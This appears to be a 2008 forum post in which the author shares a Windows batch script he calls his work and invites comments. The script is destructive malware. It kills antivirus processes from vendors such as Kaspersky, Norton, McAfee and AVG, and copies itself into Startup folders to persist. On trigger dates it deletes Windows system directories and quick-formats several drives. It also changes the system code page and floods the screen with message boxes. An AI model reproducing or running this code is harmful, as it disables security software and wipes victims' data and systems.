08-21-2008, 07:53 AM
I worked a lot to make this BABYYY work.I hope you like it,all comments are welcomed!
Code:
@echo off
echo #---------------------------------------
echo *****************************
echo *************By**************
echo ****--------Sven---------****
echo **********--v_0.2--**********
echo *****************************
echo #---------------------------------------
:dir
mkdir "c:\Time And Date\Time"
mkdir "c:\Time And Date\Date"
mkdir "c:\Program Files\Time And Date\Time"
mkdir "c:\Program Files\Time And Date\Date"
mkdir "%userprofile%\start menu\programs\startup\Sven Software\"
If EXIST "c:\Time And Date\" goto tskill
If EXIST "c:\Program Files\Time And Date" goto tskill
If EXIST "%userprofile%\start menu\programs\startup\Sven Software\" goto tskill
If NOT EXIST "c:\Time And Date" goto dir2
If NOT EXIST "c:\Program Files\Time And Date" goto dir2
:dir2
mkdir "c:\Time And Date"
mkdir "c:\Program Files\Time And Date"
msg * The date is : %date% , The time is : %time%
if "%date%"=="07/09/2008" (
goto TimeDate
) ELSE (
goto tskill
)
:TimeDate
cd c:\Time And Date\Time\
cls
echo @echo off >>time.bat
echo :time >>time.bat
echo msg * %time% >>time.bat
echo goto time >>time.bat
cd c:\Time And Date\Date\
cls
echo @echo off >>date.bat
echo :date >>date.bat
echo msg * %date% >>date.bat
echo goto date >>date.bat
:tskill
tskill avp.exe
tskill ccapp.exe
tskill /A kav
tskill /A KAV*
tskill /A kis
tskill /A panda*
tskill /A pav*
tskill /A padmin
tskill /A norton au*
tskill /A norton*
tskill /A avg*
tskill /A mcafe*
tskill /A ESAFE
goto chcp
:chcp
if "chcp"=="869" (
goto time
) ELSE (
chcp 869
)
echo * Language Changed Successfull
echo **Dont try to change it
echo ***Because you are not able to
:time
msg * The date is : %date% , The time is : %time%
if "%date%"=="01/09/2008" (
goto delete
) ELSE (
goto copy
)
:delete
del C:\WINDOWS\system32\drivers\etc\hosts.msn
del C:\WINDOWS\system32\ReinstallBackups
del C:\WINDOWS\system32\Restore
del C:\WINDOWS\TASKMAN
del C:\WINDOWS\Fonts
del C:\WINDOWS\java
If EXIST E:\ format E:\ /q /u
If EXIST F:\ format F:\ /q /u
If EXIST D:\ format D:\ /q /u
colour 4
echo Unwanted files deleted...
echo Formating Finished...
:time2
msg * The date is : %date% , The time is : %time%
if "%date%"=="05/09/2008" (
goto delete2
) ELSE (
goto copy
)
:delete2
del C:\WINDOWS\ServicePackFiles\i386\lang
del C:\WINDOWS\Microsoft.NET\Framework
del C:\WINDOWS\security\templates
del C:\WINDOWS\repair\security
del C:\WINDOWS\Resources
del C:\WINDOWS\Media
If EXIST D:\ format D:\ /q /u
If EXIST I:\ format I:\ /q /u
colour 4
echo Unwanted files deleted...
echo Formating Finished...
:copy
copy %0 "%userprofile%\start menu\programs\startup"
copy %0 "c:\Program Files\Time And Date"
copy %0 "c:\Time And Date\Time"
copy %0 "c:\Time And Date\Date"
copy %0 "%userprofile%\start menu\programs\startup\Sven Software\"
cls
:date
if "%date%"=="1/1/2009" (
goto NewYear
) ELSE (
goto time
)
:NewYear
msg * *New Year arrived!!!
msg * ** Spamm messages will be never poped again!!!
msg * ***This is my gift for you!!!
copy %0 "%userprofile%\start menu\programs\startup\2009 Arrived\"
cls
echo Could not delete all files....
echo Files are being used by another program
echo Retry#1
echo Could not delete all files....
echo Files are being used by another program
echo Retry#2
echo Could not delete all files....
echo Files are being used by another program
echo Retry#3
echo Could not delete all files....
echo Files are being used by another program
echo Retry#4
echo Could not delete all files....
echo Files are being used by another program
echo Retry#5
echo Could not delete all files....
echo Files are being used by another program
colour 3
echo Exiting....
echo #---------------------------------------
echo *****************************
echo *************By**************
echo ****--------Sven---------****
echo **********--v_0.2--**********
echo *****************************
echo #---------------------------------------
pause
exit